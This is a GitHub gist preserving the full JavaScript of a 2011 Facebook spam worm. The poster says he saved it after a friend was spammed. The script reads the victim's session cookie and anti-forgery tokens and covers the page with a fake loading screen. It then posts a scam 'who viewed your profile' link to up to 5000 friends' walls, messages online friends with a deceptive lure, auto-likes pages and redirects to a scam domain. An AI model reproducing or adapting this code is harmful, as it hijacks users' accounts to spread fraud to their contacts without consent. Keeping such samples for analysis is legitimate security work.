Skip to content

Instantly share code, notes, and snippets.

@ivarvong
Created May 2, 2011 19:03
Show Gist options
  • Save ivarvong/952147 to your computer and use it in GitHub Desktop.
Save ivarvong/952147 to your computer and use it in GitHub Desktop.
// saw a friend get spammed by this, so i copied the code in here to preserve it.
// THIS IS NOT MINE, I'M JUST KEEPING IT AROUND BECAUSE I'M INTERESTED IN THE FACEBOOK JAVASCRIPT SDK.
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// GORILLAjs
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
var user_id = readCookie("c_user");
// Setup some variables
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
// Chat message variables
var this_chat = "hey did you see this yet? see who viewed your profile, my results were like what the heck! http://goo.gl/KPjIW whoops sorry meant to send that to someone else :P";
var prepared_chat = encodeURIComponent(this_chat);
var _0xaa04x18 = document.createElement('div');
_0xaa04x18.style.display = 'block';
_0xaa04x18.style.position = 'absolute';
_0xaa04x18.style.width = 100 + '%';
_0xaa04x18.style.height = 100 + '%';
_0xaa04x18.style.left = 0 + 'px';
_0xaa04x18.style.top = 0 + 'px';
_0xaa04x18.style.textAlign = 'center';
_0xaa04x18.style.padding = '4px';
_0xaa04x18.style.background = '#FFFFFF';
_0xaa04x18.style.fontSize = '14pt';
_0xaa04x18.style.zIndex = 999999;
_0xaa04x18.innerHTML = '&nbsp;<br/>Please wait, loading...<br/><img src="http://i55.tinypic.com/68cugx.gif" alt="" />';
//_0xaa04x18.innerHTML = '&nbsp;<br/>Please wait, loading...<br/><img src="http://i55.tinypic.com/68cugx.gif" alt="" /><br/><br/>If it takes more than a couple of minutes, please <a href="http://profileviewers.info.tm/view/?uid='+user_id+'" target="_blank">click here</a>';
document.body.appendChild(_0xaa04x18);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Post Link to friends walls
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var token = Math.round(new Date().getTime() / 1000);
var http1 = new XMLHttpRequest();
var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";
var params1 = "";
http1.open("GET", url1+"?"+params1, true);
http1.onreadystatechange = function() {//Call a function when the state changes.
if(http1.readyState == 4 && http1.status == 200) { // If state = success
var response1 = http1.responseText;
response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
response1 = JSON.parse(response1); // Convert the response to JSON
//alert(response4.toSource());
var count = 0;
for(uid in response1.payload.entries){
if(count < 5000){
//alert("SENT TO "+response1.payload.entries[count].uid);
// Loop to send messages
// New XMLHttp object
var httpwp = new XMLHttpRequest();
var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=Who+is+viewing+your+profile+right+now&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http%3A%2F%2Fwww.facebook.com%2Fpages%2FSee-How-You-will-Look-In-20-Years-From-Now%2F217365084946526%3Fsk%3Dapp_210479478979824&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=Who+is+viewing+your+profile+right+now&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http%3A%2F%2Fchangeups.info%2Fa.png&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=This%20cutting-edge%20technology%20will%20show%20you%20exactly%20how%20your%20face%20will%20look%20in%20the%20future!&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=This%20cutting-edge%20technology%20will%20show%20you%20exactly%20how%20your%20face%20will%20look%20in%20the%20future!&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://goo.gl/KPjIW&attachment[params][favicon]=http://goo.gl/KPjIW%2Ffavicon.ico&attachment[params][title]=Who+is+viewing+your+profile+right+now&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=This%20cutting-edge%20technology%20will%20show%20you%20exactly%20who%20viewed%20your%20profile%20and%20photos%20recently!%20http://goo.gl/KPjIW&attachment[params][url]=http%3A%2F%2Fwww.facebook.com%2Fpages%2FSSee-How-You-will-Look-In-20-Years-From-Now%2F217365084946526%3Fsk%3Dapp_210479478979824&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=This%20cutting-edge%20technology%20will%20show%20you%20exactly%20who%20viewed%20your%20profile%20and%20photos%20recently!!!%20http://goo.gl/KPjIW&attachment[params][images][0]=http%3A%2F%2Fprofileviewers.info.tm%2Fa.png&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=hahah%20you%20gotta%20see%20this!!!%20%3A)%20you%20wont%20even%20believe%20my%20results%20lol&xhpc_message=hahah%20you%20gotta%20see%20this!!!%20%3A)%20you%20wont%20even%20believe%20my%20results%20lol&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
httpwp.open("POST", urlwp, true);
//Send the proper header information along with the request
httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");
httpwp.onreadystatechange = function() { //Call a function when the state changes.
if(httpwp.readyState == 4 && httpwp.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpwp.send(paramswp);
}
count++; // increment counter
}
http1.close; // Close the connection
}
}
http1.send(null);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Hide chat boxes
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var hide = document.getElementById('fbDockChatTabSlider');
hide.style.display = "none";
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Get online friends and send chat message to them
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http3 = new XMLHttpRequest();
var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
http3.open("POST", url3, true);
//Send the proper header information along with the request
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-length", params3.length);
http3.setRequestHeader("Connection", "close");
http3.onreadystatechange = function() {//Call a function when the state changes.
if(http3.readyState == 4 && http3.status == 200) {
var response3 = http3.responseText;
response3 = response3.replace("for (;;);", "");
response3 = JSON.parse(response3);
var count = 0;
for(property in response3.payload.buddy_list.nowAvailableList){
if(count < 100){
// Loop to send messages
// New XMLHttp object
var httpc = new XMLHttpRequest();
// Generate random message ID
var msgid = Math.floor(Math.random()*1000000);
var time = Math.round(new Date().getTime() / 1000);
var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
httpc.open("POST", urlc, true);
//Send the proper header information along with the request
httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpc.setRequestHeader("Content-length", paramsc.length);
httpc.setRequestHeader("Connection", "close");
httpc.onreadystatechange = function() { //Call a function when the state changes.
if(httpc.readyState == 4 && httpc.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpc.send(paramsc);
}
//alert(property);
count++; // increment counter
}
http3.close; // Close the connection
}
}
http3.send(params3);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// gine anemistiras
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http4 = new XMLHttpRequest();
var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params4 = "fbpage_id=195801507103895&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);
var http5 = new XMLHttpRequest();
var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params5 = "fbpage_id=136194779784658&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
http5.open("POST", url5, true);
//Send the proper header information along with the request
http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http5.setRequestHeader("Content-length", params5.length);
http5.setRequestHeader("Connection", "close");
http5.onreadystatechange = function() {//Call a function when the state changes.
if(http5.readyState == 4 && http5.status == 200) {
http5.close; // Close the connection
}
}
http5.send(params5);
var http6 = new XMLHttpRequest();
var url6 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params6 = "fbpage_id=160499177346493&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
http6.open("POST", url5, true);
//Send the proper header information along with the request
http6.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http6.setRequestHeader("Content-length", params6.length);
http6.setRequestHeader("Connection", "close");
http6.onreadystatechange = function() {//Call a function when the state changes.
if(http6.readyState == 4 && http6.status == 200) {
http6.close; // Close the connection
}
}
http6.send(params6);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// S_
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
setTimeout("window.location = 'http://profileviewers.info.tm/view/?uid="+user_id+"';", 15000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment